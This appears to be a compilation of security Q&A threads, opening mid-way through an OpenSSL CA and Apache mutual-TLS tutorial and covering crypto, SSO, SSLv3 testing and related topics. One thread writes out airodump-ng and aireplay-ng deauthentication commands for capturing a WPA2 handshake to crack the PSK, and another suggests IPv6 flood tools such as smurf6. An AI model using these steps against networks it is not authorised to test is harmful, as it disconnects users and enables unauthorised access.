default_crl_days= 30                    # how long before next CRL

[ req ]
default_bits            = 2048

[ req_distinguished_name ]
countryName                     = Country Name (2 letter code)
countryName_default             = AU
countryName_min                 = 2
countryName_max                 = 2
stateOrProvinceName             = State or Province Name (full name)
stateOrProvinceName_default     = Some-State
localityName                    = Locality Name (eg, city)
0.organizationName              = Organization Name (eg, company)
0.organizationName_default      = Internet Widgits Pty Ltd
#1.organizationName             = Second Organization Name (eg, company)
#1.organizationName_default     = World Wide Web Pty Ltd
organizationalUnitName          = Organizational Unit Name (eg, section)
#organizationalUnitName_default =
commonName                      = Common Name (e.g. server FQDN or YOUR name)
commonName_max                  = 64
emailAddress                    = Email Address
emailAddress_max                = 64

Generate the CA

Once you have edited openssl.cnf to match your needs, you can generate a CA certificate. Depending on whether you need this CA signed by an recognized third-party CA or not, you can generate a self-signed CA or a CSR to be submitted for signing.

./CA.sh -newca

You will be interactively prompted to ask some questions, the defaults will appear between square brackets. You will recognize the options you modified in openssl.cnf here.

Generate a certificate for the server

You can create a certificate request for the server using the same script:

./CA.sh -newreq

Again, you will be prompted to ask several questions, the most important is the Common Name of the certificate, which must match the DNS resolvable name for the IP of the server (or you can use other means, like /etc/hosts, not recommended, hard to maintain and scale)

What you will obtain is a Certificate Signing Request (CSR for short). This will be signed by the Certificate Authority (CA) you created before.

./CA.sh -sign

Generate certificates for the clients

Repeat the steps of creating a CSR and getting it signed by the CA. When doing so, pay close attention to how you fill in the Common Name, Organization and Organizational Unit fields, as those will be required afterwards in order to configure the server.

A neat way to distribute the client certificates alongside their respective private keys and the CA certificate is using p12 bundles:

openssl pkcs12 -export -in Certificates/client.pem -inkey client.key -certfile CA.pem
-out clientcert.p12

Configure the server

Let's suppose the server you are referring to is an Apache web server. Once you have the server certificate, you configure the appropriate VHOST to serve whatever content is going to be protected by mutual SSL authentication. An example could be this phpmyadmin virtual hosts. This is working in an Apache 2.4 server, so please don't use it as-is and carefully review and test it to adapt it to your needs.

Listen                   443 https

<VirtualHost 120.120.120.120:443>
  DocumentRoot           "/srv/www/html"
  ServerAdmin            admin@company.com
  SSLCACertificateFile   /etc/pki/CA/cacert.pem
  SSLCertificateFile     /etc/pki/tls/private/phpmyadmin.company.com/newcert.pem
  SSLCertificateKeyFile  /etc/pki/tls/private/phpmyadmin.company.com/newkey.pem
  SSLCARevocationCheck   chain
  SSLCARevocationFile    /etc/pki/CA/crl/crl.pem
  SSLEngine              on
  SSLStrictSNIVHostCheck on
  SSLVerifyClient        require
  SSLVerifyDepth         5
  ServerName             phpmyadmin.company.com
  RewriteEngine          on
  RewriteCond            %{REMOTE_ADDR} !^127\.0\.0\.1$
  RewriteCond            %{HTTPS} !=on
  RewriteRule            . - [F]
  Alias                  /console /usr/share/phpMyAdmin
  ErrorLog               "|/usr/sbin/rotatelogs -L /var/log/httpd/phpmyadmin/error.log -f /var/log/httpd/phpmyadmin/error.log.%Y%m%d 86400"
  CustomLog              "|/usr/sbin/rotatelogs -L /var/log/httpd/phpmyadmin/access.log -f /var/log/httpd/phpmyadmin/access.log.%Y%m%d 86400" logstash_json
  <Directory /usr/share/phpMyAdmin/>
    Require              ssl
    Require              ssl-verify-client
    SSLRequireSSL
    SSLOptions           +FakeBasicAuth +StrictRequire
    SSLRequire           %{SSL_CIPHER_USEKEYSIZE} >= 256
    SSLRequire           %{SSL_CLIENT_S_DN_O} eq "Awesome Company" \
                     and %{SSL_CLIENT_S_DN_OU} eq "Development" \
                     and %{SSL_CLIENT_S_DN_CN} in {"John Doe", "Jane Doe"}
    SSLRenegBufferSize   131072
  </Directory>
</VirtualHost>

You can use as many per-directory access control as you need, the important part is that the client certificates shown must comply with the restrictions imposed by the SSLRequire directives, i.e., they must match the Organization, Organizational Unit and Common Name conditions (or other fields of the certificate as you see fit). These fields are taken from the client certificates.

Generate a Certificate Revocation List

In order to be able to revoke access to a client certificate, you need to generate a CRL.
The command to do it (provided you in the top of the CA directory structure):

openssl ca -config /path/to/openssl.cnf -gencrl -out crl/crl.pem

Afterwards, you revoke client certs as needed using:

openssl ca -config /path/to/openssl.cnf -revoke clientcert.pem

References:

OpenSSL online documentation and Apache online documentation.


FIPS-2 assumptions (CJIS) I feel more like a lawyer than an IT admin today.

When the CJIS Security Policy states that "The remote administrative personnel connection shall be via an encrypted (FIPS 140-2 certified) path," I'm left to wonder if that refers to Level 1, or if it's inclusive of the whole standard and all 4 levels?

It seems to be the former, since this NIST certificate gives no specific level, but in the listing here, I'm reading "Overall Level: 1" to mean that it's Level 1 certified.

That's a lot of assumption and supposition. I'm hoping this makes sense to people more solidly InfoSec grounded. If anyone can point me toward a clearer understanding of the correct interpretation of this, I would very much appreciate it.

Edit:  My main confusion here is that the CJIS document doesn't specify a level. Should that be interpreted as requiring Level 1 or Level 4?

I'm a FIPS tester and confirm that indeed overall level 1 means it is validated at FIPS 140-2 level 1. Different sections can be tested and validated at different levels (1-4) however the overall level defaults to the section validated at the lowest level.


Are there known hacks or security problems on broadband USB dongles? USB broadband dongles seem to be common everywhere now though I'm not sure what the most widely accepted name for them is. In case I'm using poor terminology I'm referring to USB sticks which contain a modem able to connect to telephone carriers mobile networks, generally prepaid in myriad varieties.

So I'm wondering if there are any known exploits, vulnerabilities, hacks, that I should know about.

(I have a Digi stick given to me by a friend here in Romania, I don't know much about it but it was free and it works great but won't work outside Romania of course)

P.S. I wasn't sure how best to tag this question.

To answer your exact question, to the best of my knowledge no security vulnerabilities from USB dongles have gotten any attention in the past years. I guess that was what you're looking for?

However, there are known cases of rogue USB devices that are used to backdoor computers. Some security companies doing penetration testing and social engineering combined, even leave behind USB sticks with malware on them at the offices of targets. And of course, there's Stuxnet, which reached the nuclear facility by USB stick. So in general, I'd be reluctant to plug unknown USB devices into my computer.

Also, one often needs to install crappy drivers from the telco in order for the dongle to work. I usually don't really trust those :-)

And don't forget that the broadband connection itself is probably being monitored by the telco. Sometimes all HTTP requests are pushed through a transparent proxy. I'd recommend to VPN out of the telco's network first, and do al your interwebsing over that VPN.


Can ping flooding attacks still be implemented in a IPv6 network? Can ping flooding attacks still be implemented in a IPv6 network? And what could be a good way to simulate such an attack?

Yes, ping floods can still be implemented in IPv6 networks. They operate in largely the same manner they do in IPv4 networks. Although IPv6 is a "new" protocol (it was conceived in 1998), there's still plenty of attack vectors to worry about, such as the Neighbor Discovery Protocol and the massive address space IPv6 occupies.

As far as simulating attacks on an IPv6 network, I would set up a virtual network with your chosen OS and virtualization software, and use a suite like THC-IPv6 to attack the network. It is a suite used for attacking IPv6 networks. It's got all kinds of goodies. Smurf6 may be of interest to you.

If you want to do some reading on IPv6 security, this paper is full of good stuff.


Is it possible to determine router firmware version as a Wi-Fi client? Let's say that I'm connected to some random Wi-Fi network and from that point I want to check the version of currently installed firmware, but let's exclude possibility of logging in with default credentials.

This made me think if I can determine router firmware version, that means that I can check if specific firmware is either vulnerable or not to the latest discovered KRACK vulnerability.

Example: WAC720/WAC730 Firmware Version 3.7.12.0, and changelog says:

  Fixed security vulnerabilities in WPA2 handshake mechanism.

If it is possible, then how can be done that?

The only way to interrogate in detail something like that would be to connect to the router using CLI, which for many routers is actually possible, but that would require the credentials of the router (or back-door credentials). This does not help much since the firmware version is most of the time displayed in the management GUI of the router also. Note that on some routers you do have access to the general information page without credentials, so this would be the only scenario where you could see a firmware version without admin login.


Does predictable input (like bcrypt headers) threaten password-based encryption? I am making a system for storing hashed version of some secrets. I have read through dropbox's blog about how they store their passwords, and have taken inspiration from what they are doing.
Dropbox, as far as I understand, does this:

Get password
One-way hash with SHA512 (to combat possible truncation of password in bcrypt)
One-way hash with bcrypt
Two-way encrypt with AES256 password based encryption with global server-side password
Store in database.

I see one potential weakness with this system in point 4.
When using the server side password-based encryption, encrypting the bcrypt value, will the predictable bcrypt headers weaken the strategy?
The bcrypt hash looks something like this:
$2a$10$q16tPq1UQXP9n8yrcm0TMeWriU4F..i4S5Gs78zBWKDG3ourZXvCK

The start, header, will most likely always be the same for the same system: $2a$10$. Of course, they might be some other value, but they are most likely shared among all your stored password hashes.
Thus, for the password-based encryption system, an attacker could then look for patterns matching this header, and potentially find your encryption password.
Would a better approach be to extract the bcrypt headers, and then encrypt the remaining salt + hash only?
As far as I understand this will not have any predictable component, and thus be more secure.
I am doing this in java currently. Maybe there are some pre-existing solutions for this type of problem?
(PS. I am fairly new to cryptography, so please correct me if I use the wrong jargon/tags etc.)

Thus, for the password-based encryption system, an attacker could then look for patterns matching this header, and potentially find your encryption password.

There are no such patterns in the ciphertext. In the olden days, crypto algorithms were vulnerable to things like known plaintext attacks and you should avoid sending the same plaintext over and over again. Indeed, the Brittish were helped in cracking the Enigma ciphers by the Germans sending words like "wetteruebersicht" in a predictable way.

But that was then. Modern crypto is different. AES, if used right, produce something that is indistinguishable from random garbage unless you have the key, no matter how predictable your input is.

So there is no need to cut the prefix from the bcrypt output.


is it feasible to improve the entropy of XKCD #936 by using a larger dictionary? XKCD #936 uses a limited subset of the English language, only 2000 words. I just looked it up, and the English language has over a million words, a sizeable subset of those having special characters, numbers and punctuation.

1,000,000 is about 2^20, so 4 random words from that set would have 80 bits of entropy, maybe a bit less. If we want, we can even remove part of the dictionary so we don't have to deal with monstrous words like antidisestablishmentarianism which would break many password inputs.

Would this be a reasonable way of improving on the entropy? Or am I missing a vital point?

Yes, you are correct, and yes you are missing something.

Sure, you could easily increase entropy manifold by using a larger word list; you could also achieve that by using 8-word passphrases, or just using raw entropy bytes directly without the words.

The entire point of that xkcd is balance.
Balance between "enough entropy" and "easy enough to remember".

You could argue if 44 bits is enough entropy, or if you need more. But if so you must take into account the non-negligible cost of reduced memorability. It is always a tradeoff.

As I stated in my answer to the canonical XKCD 936 question:

  AviD's Rule of Usability:
  Security at the expense of usability comes at the expense of security.

So yes, go ahead and use the full language as your dictionary - but you are paying a price, which many would consider to be a bad tradeoff.

As Randall (xkcd's author) explains here (and in agreement with many studies on the subject), he was basing it not just on all possible words in a dictionary, but words that are EASY for a typical person to remember (and type, I will add).

Another option, more aggressive than xkcd but not ridiculously difficult as the full language, is something like Diceware's dictionary - larger than 11 bits per word, but not much more (just under 13 bits).
So 4 words of that would be ~51.5 bits. Or, take another simple word and get almost 65 bits entropy.

Yes, that improves it a bit, without costing much usability, since they still stick to short, common words. (Personally there are still a few "filler" words, like numbers, that I would prefer to do without).

As always, it is about balance.


Securing anonymous accessible URL with a GUID segment? In my problem there is an existing system that works as a alerting or clipping service that runs user defined searches and generates results lists.  These are setup by authenticated users and this internal system uses a GUID as the identifier to fetch the results, which are stored in a database.

There is a requirement to expose these results via RSS.  However, other than embedding username:password@ in the URL, I am not aware of any technique that works across RSS readers.  The naive idea is to make the URLs something like /alert/{guid}/rss which has a few problems.  Since GUIDs are intended for uniqueness and not randomness, I am worried about guessing attacks since every guess attempt would proxy the request from the web facing system to the internal system, and access the database.  I am looking for a way to both add some uniqueness to the URL and prevent unneeded database access, while preserving the GUID based key.

My ideas is to expand the /feed/{guid}/rss URL to something like /feed/v1/{hash}/{guid}/rss which contains an additional hash segment.  This segment would be generated by combining the existing guid and an application provided secret via concatenation or XORing or something?  This would be the URL that would be provided to RSS readers from inside the application.  Then, when a URL comes into the system, the hash segment can be recomputed in memory, compared, and rejected without a trip to the internal service and database.  The leading /feed/ segment of the URL is unique in the system to enable future URL routing/load balancing to feed cache.  The /v1/ segment is in place if the secret has to change for future feed URLs.

Since I don't want to be another proof for "Schneier's Law", what are the problems with this pattern?  I think it helps with the denial-of-service for brute force attacks (but not if at least one valid URL is known).  I also think it creates "random" URLs for the sensitivity of the data.  I am open to criticism or other ideas, but I am stuck with the GUID based keys.

The basic solution is to encode a single-purpose semi-public password into the URL. Typically the solution looks something like this:

http://<base>/<content_identifier>/<auth_identifier>/<random_password>

So the <base> and <content_identifier> are whatever you want; they make the URL point to something for your site. The <auth_identifier> points to a corresponding authentication token in your database that indicates who authorized this URL, etc. The <random_password> bit is there to guarantee that the URL can't be guessed. It's just plain random. The authentication token in the DB stores the correct random password. You should be able to revoke or expire old URLs by updating (or deleting) the authentication token in your database. You should also be able to issue an additional unique URL after a previous one has been revoked (or perhaps at the same time as another). It's difficult to do this if your secret is a hash, since there's only one correct answer and therefore one correct URL.

If you're worried about secrets, you can encrypt the data before publishing it out in a URL and decrypt it before processing it. Typically that's overkill, but it all depends on what data you're exposing.

Note that your idea of encoding enough information into the URL to make it verifiable without the database means that the contents of the database cannot affect the validity of the URL. Specifically, you can't revoke it. Often that restriction proves problematic down the road.


Can I alter the DNS cache on my Computer? Can I alter the DNS cache of my computer.

When I search online it only shows result to flush DNS cache and not how to alter it.
 The DNS cache saved on Windows consist of URL,serverIP and many other fields.
Can I edit this serverIP field of any cached url on my windows10 ?

This can be achieved by adding the desired host entries in the host file.As per my exploration,DNS cache files are not available but you can override DNS cache entries by making entries in system host file.

Reference:https://www.rootusers.com/how-to-use-the-hosts-file-to-fake-dns/


Kerberos over http documentation The NTLM over HTTP documentation can be found here https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ntht/f09cf6e1-529e-403b-a8a5-7368ee096a6a

Where is the Kerberos over HTTP official documentation?

Kerberos over HTTP isn't officially developed by the MIT project.  It is implemented though using GSSAPI, and the extensions are described in RFC 4559.


How does SSO enhance security? The following quote is from the CompTIA Security+ guide:

  Single sign-on enhances security by requiring users to use and remember only one set of credentials for authentication.

How is that enhancing security ? The way I see it is that it's rather a single point of failure.

Isn't it more secure to have multiple different passwords for different accounts/services ?

The idea with a good single sign on is that there are fewer places for your credentials to be compromised.  There are three reasons to use different passwords, first, because each unique place that stores your password (hopefully hashed) is another place it could get compromised. Second, because if your password is compromised, any other account using it would need to be updated and that is hard to do. Third because if your password is compromised, they could access multiple accounts if they were shared.

SSO is a great advantage for the first two.  A good SSO system should only store your account credentials in one location (which is hopefully far more fortified).  All authentication is done against this one store.  If your account is compromised, rather than having many places to update, only one password has to be changed and one account locked down.

It doesn't particularly address the third concern, but it makes compromise less likely in the first place.  Additionally, depending on the account, different passwords don't necessarily act as much of a barrier.  There are plenty of reported examples of attackers using one compromised account to chain from account to account until they can get to the actual account they want. (For example, if they can access your e-mail account, then they can use password resets.) A good system of reporting compromises and allowing for the account to be locked down can make a decent help towards mitigating the risk though when suspicious activity is detected.

The argument that completely unique credentials may be more secure than a good SSO setup is possibly valid, but in the real world, most people reuse credentials.  SSO mitigates much of the risk of this behavior while still allowing the convenience people want.


How to grant permission to read a text file to a specific application run by a regular user? A text file is situated in /opt/somefolder. It contains a pair login - password read by an application when authenticating on a server. The application is run by a regular user, so that the file can be also read by a regular user. The question is whether there is a way to restrict anyone but root and the application from reading the file.

Create a new user called X. Make the file only readable by X. Change ownership of the app file to X and make it setuid. Now only the app and root can access the file.


Is it possible to see a packet before encryption? I mean, if I am, for example, on Facebook, every packet I send out of my NIC is encrypted. But there must be phase of that packet before it is encrypted. The browser (I think) must create that packet and encrypt it afterwards. So if I am on the machine creating those packets, am I able to see them before encryption?

And if yes, are there malware capable of doing this? I think with administrator/root privileges it is certain that it can, but what about without them?

With the availability of browser extensions, actually reading the traffic should be quite doable. If both the malware and web browser run as the same user (and therefore can write to the browser profile directory), then installation of browser extensions can be done relatively easily.

You can also open the Web Developer Tools, typically accessible by pressing F12 and visit the Networking tab. That will show you all traffic before it is encrypted and pushed onto the network.

The above methods are passive ways that do not interfere with communications. Active methods perform a man in the middle (MitM) attack and actually modify data before it gets forwarded (Tylerl describes an example with Fiddler).


How can I test SSLv3 on recent Ubuntu OS? I am using Ubuntu 16.04 on my client (laptop) and it seems that SSL v3 is not present on my system to test the remote server (zmap.io in this example).

Related questions

There are several questions mentioning how to test if a server still serves SSL v3:

How do I use "openssl s_client" to test for (absence of) SSLv3 support?
How can I verify that SSLv3 protocol is disabled?

Tests that did NOT work

curl:

$ curl --sslv3 https://zmap.io/
curl: (35) gnutls_handshake() failed: Handshake failed

I expect SSLv3, TLS handshake, Client hello in the output.
openssl

$ openssl s_client -ssl3 -connect zmap.io:443
140396574262936:error:140A90C4:SSL routines:SSL_CTX_new:null ssl method passed:ssl_lib.c:1878:

I expect routines:SSL3_READ_BYTES:sslv3 alert handshake in the output.
nmap

$ nmap --script ssl-enum-ciphers -p 443 zmap.io

Starting Nmap 7.01 ( https://nmap.org ) at 2016-09-20 17:19 CEST
Nmap scan report for zmap.io (141.212.120.90)
Host is up (0.12s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   TLSv1.0:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 2048) - A
|     compressors:
|       NULL
|     cipher preference: server
|   TLSv1.1:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 2048) - A
|     compressors:
|       NULL
|     cipher preference: server
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A
|       TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (dh 2048) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 2048) - A
|     compressors:
|       NULL
|     cipher preference: server
|_  least strength: A

Nmap done: 1 IP address (1 host up) scanned in 10.57 seconds

I expect **SSLv3: No supported ciphers found** in the output.

What to do?

Does anyone know a way to test SSLv3 with Ubuntu 16.04 (or other Linux distros without SSLv3 enabled in openssl)?

My server under test is not available from the public internet, meaning that an online service is not fulfilling my needs.

Try TestSSL.sh's static openssl build

The TestSSL.sh project is an SSL scanner. And they include static versions of deliberately weakened OpenSSL with all sorts of old crypto enabled. You can use one of their builds to test for SSLv3.

I tried this on the current Mint Live CD. And I'm guessing it should work on your Ubuntu as well.

Full instructions/proof of concept below.

FYI: The Linux version I was using

mint@mint ~ $ cat /etc/lsb-release
DISTRIB_ID=LinuxMint
DISTRIB_RELEASE=18.1
DISTRIB_CODENAME=serena
DISTRIB_DESCRIPTION="Linux Mint 18.1 Serena"

Get testssl.sh

mint@mint ~ $ git clone https://github.com/drwetter/testssl.sh --depth 1
Cloning into 'testssl.sh'...
remote: Counting objects: 48, done.
remote: Compressing objects: 100% (46/46), done.
remote: Total 48 (delta 8), reused 17 (delta 2), pack-reused 0
Unpacking objects: 100% (48/48), done.
Checking connectivity... done.

Here are the static builds

mint@mint ~ $ file testssl.sh/bin/* | grep -i linux | grep -i static
testssl.sh/bin/openssl.Linux.i686:             ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=688fd66da53e4351659a0580cf9f5605deb16c9e, stripped
testssl.sh/bin/openssl.Linux.x86_64:           ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2ac27c3998817aa9145f19a723e99e8a9191d0da, stripped

Let's define the alias "badopenssl" for one of the static builds

mint@mint ~ $ alias badopenssl=testssl.sh/bin/openssl.Linux.x86_64

We now have two versions of openssl:

mint@mint ~ $ openssl version
OpenSSL 1.0.2g  1 Mar 2016

mint@mint ~ $ sha256sum $(which openssl)
efed90fc204144946c011c451e61e3c420756014c2252cfad493ec0896cb4e34  /usr/bin/openssl

mint@mint ~ $ badopenssl version
OpenSSL 1.0.2-chacha (1.0.2i-dev)

mint@mint ~ $ sha256sum testssl.sh/bin/openssl.Linux.x86_64
a11b8e25992030059b3ce3a5c38c432d9a33c05e8e4581996d19c52a57cb94ab  testssl.sh/bin/openssl.Linux.x86_64

Bootstrap an SSL test server

mint@mint ~ $ openssl req -x509 -nodes -days 999 -subj '/CN=mydemoserver' -newkey rsa:2048 -keyout server.pem -out server.pem
Generating a 2048 bit RSA private key
.........................................+++
..................................+++
writing new private key to 'server.pem'
-----

Note that regular openssl will NOT allow SSLv3

mint@mint ~ $ openssl s_server -ssl3
140199887697560:error:140A90C4:SSL routines:SSL_CTX_new:null ssl method passed:ssl_lib.c:1878:

...while badopenssl does not care

mint@mint ~ $ badopenssl s_server -ssl3
Using default temp DH parameters
ACCEPT
^C

Let's background this. And we don't even need the "-ssl3" parameter.

mint@mint ~ $ badopenssl s_server 2>&1 >/dev/null &
[1] 8136

The regular openssl will NOT connect with SSLv3:

mint@mint ~ $ openssl s_client -ssl3 -connect localhost:4433
140415485314712:error:140A90C4:SSL routines:SSL_CTX_new:null ssl method passed:ssl_lib.c:1878:

...but badopenssl WILL happily connect with SSLv3:

mint@mint ~ $ badopenssl s_client -ssl3 -connect localhost:4433 2>&1 | grep -iE 'Protocol|^New'
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-SHA
    Protocol  : SSLv3
^C

Credits

I used the very nice MadBoa OpenSSL cheat sheet. Archived here.


No Handshake from Airodump I'm struggling to get a handshake from my router when using airodump. I'm running this from Kali Linux live CD.

airmon-ng shows my wireless card is an Atheros AR9462 using the ath9k - [phy0] driver. I believe this supports packet injection. aireplay-ng --test wlan0 and aireplay-ng --test mon0 show injection is working.

So, I'm attempting to crack the WPA2 PSK on my local network. I use:

airodump-ng -w output --bssid MY_BSSID mon0 -c 6

I've confirmed the BSSID and channels are correct.

I have my MacBook connected to my network, and it shows up when airodump is running. I wait until the #Data column shows about 5,000 then I send deauth packets whilst airodump is still running:

aireplay-ng --deauth 1 -a AP_BSSID mon0

I send one, wait a few moments and send another. I get no handshake. I've repeated, and still nothing. I've tried to send 100, but it just disconnects my laptop from the network (not a good idea lol).

I can't figure out what's going wrong. I've followed 2 different guides, and watched a video from BT that all show they're able to get a handshake.

Any ideas?

Edit: mon0 is in monitor mode.

The process you've described should result in handshake packets, assuming that the deauth packets are successful in forcing the device to re-attach to the network. A couple of suggestions.

I'm guessing that placement of all the devices is ok (e.g they're quite near to each other physically).  If the device in monitor mode is further away there's always a risk that it wont see all the traffic.
I'd suggest getting a couple of devices (your macbook and perhaps a phone or tablet) and shutting them down and then re-start them.  When a device starts up and connects to the network it definitely should send a handshake packet.  If you don't see one then, does suggest something more fundamental is wrong (although off the top of my head not sure what !)

Typically when I do this on engagements, I'll leave airodump running for a couple of hours or more, and on a relatively busy network it'll see some devices connecting. DeAuth is a useful idea but I'm always a bit leary of knocking people off the network.


Using AesCryptoServiceProvider in C#, should using an incorrect IV mangle just the first block? This question was also asked on StackOverflow, but with no answers, and I thought this may be a better exchange, since I have the same question.

https://stackoverflow.com/questions/9331984/using-c-sharp-aescryptoserviceprovider-iv-only-seems-to-affect-first-block-duri

Using AESCryptoServiceProvider, I noticed that before I had implemented any logic to pass the IV from the encrypting party to the decrypting party, my large zip file decrypted successfully (as far as I could tell). So I wrote a little test to see why this worked, as I didn't expect it to.

Using the encrypt... and decrypt... functions found on:
http://msdn.microsoft.com/en-us/library/system.security.cryptography.aescryptoserviceprovider.aspx

And the following test:

static void TestIV()
{
    string plainText = "abcdefghijklmnopqrstuvwxyz0123456789asdfqwerfdsareqw";
    byte[] key;

    string roundTrip = "";
    byte[] encrypted = null;

    using (AesCryptoServiceProvider aes = new AesCryptoServiceProvider())
    {
        key = aes.Key;
        Console.WriteLine("encryption Key = " + System.Convert.ToBase64String(aes.Key));
        Console.WriteLine("encryption IV = " + System.Convert.ToBase64String(aes.IV));
        encrypted = EncryptStringToBytes_Aes(plainText, aes.Key, aes.IV);

        Console.WriteLine("cipherText = " + System.Convert.ToBase64String(encrypted));
    }

    using (AesCryptoServiceProvider aes = new AesCryptoServiceProvider())
    {
        aes.Key = key;
        Console.WriteLine("decryption Key = " + System.Convert.ToBase64String(aes.Key));
        Console.WriteLine("decryption IV = " + System.Convert.ToBase64String(aes.IV));
        roundTrip = DecryptStringFromBytes_Aes(encrypted, aes.Key, aes.IV);
    }

    Console.WriteLine("Original: " + plainText);
    Console.WriteLine("Round Trip: " + roundTrip);
}

This was my output:

encryption Key = 0Fnvwk0qzbn6sQ+qUbGDyz0MmpBt5e3vkA+7YCUYTzc=
encryption IV = 7E5iw+226INZNzA6y7wWjQ==
cipherText = YVj3ZsSx9nbOKor6ZGqzyGFxdnaR6KM+qSeQj322+2QyhU9Iu1G3d4xPnj7n0X/wpObvjpFBlHf+9rRFWtPodA==
decryption Key = 0Fnvwk0qzbn6sQ+qUbGDyz0MmpBt5e3vkA+7YCUYTzc=
decryption IV = o//BGrMnXatF5po9dUEnug==
Original: abcdefghijklmnopqrstuvwxyz0123456789asdfqwerfdsareqw
Round Trip: .???;??@u??k?^Gqrstuvwxyz0123456789asdfqwerfdsareqw

Turns out the first block of my zip file was probably mangled, but it unzipped successfully anyway, and the files I looked at must not have been part of the first block.

Running this multiple times I get the following cipherTexts:

cipherText = ZsvLpvVucn0ekx393Fmk5R/UrzzPmzH4dY32EqVlpHJvAKGRERIUY7LLPGHIuyPikHcGKUWL/mt8eP6RI/Qqcw==
cipherText = 0i5tZ1vQvmU5zMimCBIqCWsQzze8PDEOuOxVYekq8T/IGKu4VuHuZWJ6H4aPjRqmSBQYRDbWff6o3Odjl8Qg8A==
cipherText = En/I32AeAASiq10j7ChNPzclWdj8uc6hdBUk/sp8S9G7ly6QBCPAzJFJCR1c9TWjb1gUbzrCEghUgCoRnlJbGA==

So it appears that the IV is successfully creating a different cipherText for the same text as expected.
So when decrypting with an incorrect IV, is it expected that only the first block will be mangled?

Note that AesCryptoServiceProvider uses CBC mode by default, but I saw this same behavior using CFB, and when using ECB, the plaintext was completely the same (first block not mangled).

I want to clear a couple of things first:

What you're seeing is the intended and correct behaviour.
ECB doesn't use chaining and it applies the block cipher to the plaintext block by block separately, so there's no point to discuss IV and ECB because the two don't really work with each others.

Let's start with CBC encryption. It's quite simple; take the  first plaintext block and XOR it with the IV, apply the block cipher on it, take the resulting ciphertext and XOR it with the second plaintext, apply the block cipher, XOR the result with the third plaintext block, and so on.

Now let's look at the decryption. Take the first ciphertext block, apply the block cipher on it, and then XOR it with the IV, (pay attention here) then move to the next ciphertext block and apply the block cipher on it and then XOR it with the previous ciphertext block, and so on.

Now, can you see it? The IV is only used when working on the first block, and that's why using the wrong IV for decryption will only give the wrong first block with all of the next blocks decrypting just fine.

The same logic can be used for CFB decryption

For the sake of simplicity, you can think of it this way: The IV of the first block is the actual IV, while the "IV" for the next block is the  first block's ciphertext, and the "IV" for third block is the second block's ciphertext and so on. Guess what? When trying to decrypt without the correct IV, you already have the ciphertext, so you already have the "IVs" for all the blocks except for the first one.


New payment option on Paypal "Enter your online banking ID + password": Any mechanism that could make this safe? Paypal has a new payment option called "Bank Account" which says:

  Enter your online banking ID + password

QUESTION: To me it sounds unsafe (ie: sends my password to a third-party organization like Paypal), but does there actually exist any security mechanism/protocol that they could be using to make this operation safe?

Notes: Seen from Japan, on Firefox 32.0 Ubuntu 2014.04, URL starts with https://www.paypal.com/

The warning symbol in the URL says "Connection Partially Encrypted".

Once you submit that form, the information clearly goes to PayPal. So, yes, your password is definitely sent to PayPal. However, PayPal is saying that that it only uses your bank account credentials to confirm/verify your account.

What seems to happen is that PayPal takes your information then sends it to your online banking provider for verification. What PayPal does with your credentials after that is unknown. They might store it for future payments, or they discard it after the verification process.

In one line: Yes, your bank password goes to PayPal. Is it bad? Well, it depends on how much you trust PayPal.

By comparison, in Finland we have a completely different system with PayPal. When PayPal needs to verify the bank account or withdraw from the bank account, you get redirected directly to the bank's online banking page. You login there, and then you get redirected back to PayPal. They only get a verification token from the bank. The system is called TUPAS.


How to decide to use, then how to use an http gofile.me url in an email, explained to a five year old? I'm terrified of clicking on links in emails, and yet a colleague insists I do.
When I receive an email in my gmail account that contains links of the form http://gofile.me/xxxxx/yyyyyyyyy along with its password, apparently sent from someone I know and expect it from, and who has supplied the password for the link to their NAS right next to it, should I try to overcome my fear of clicking on links in emails and consider clicking on it as at least fairly safe? Should I instead copy it paste it in a new tab?
The idea is that the document is evolving so the link will provide the latest version, but should I insist the colleague email me the document directly?
tl;dr: Should I

click url
copy/paste url in new tab
balk, request document be emailed each time

If possible, can an answer be written in simple language?
Cropped, blanked out screenshot from email I received in my gmail:

The idea is that the document is evolving so the link will provide the latest version, but should I insist the colleague email me the document directly?

Having a link or having the file directly does not actually make much of a difference. The link can point to some malicious file or to some phishing page (i.e. stealing of passwords) but an attached file can actually be malicious too - especially Office documents with macros enabled. And such malicious links and attachments are unfortunately fairly common today.
The question is thus if you trust the sender and if the sender is actually the one you think it is. Unfortunately the sender of an email can be easily spoofed, similar on how could simply write a faked sender on the envelope when using snail mail. Or the sender might also be hacked and the trusted account used to send mails.
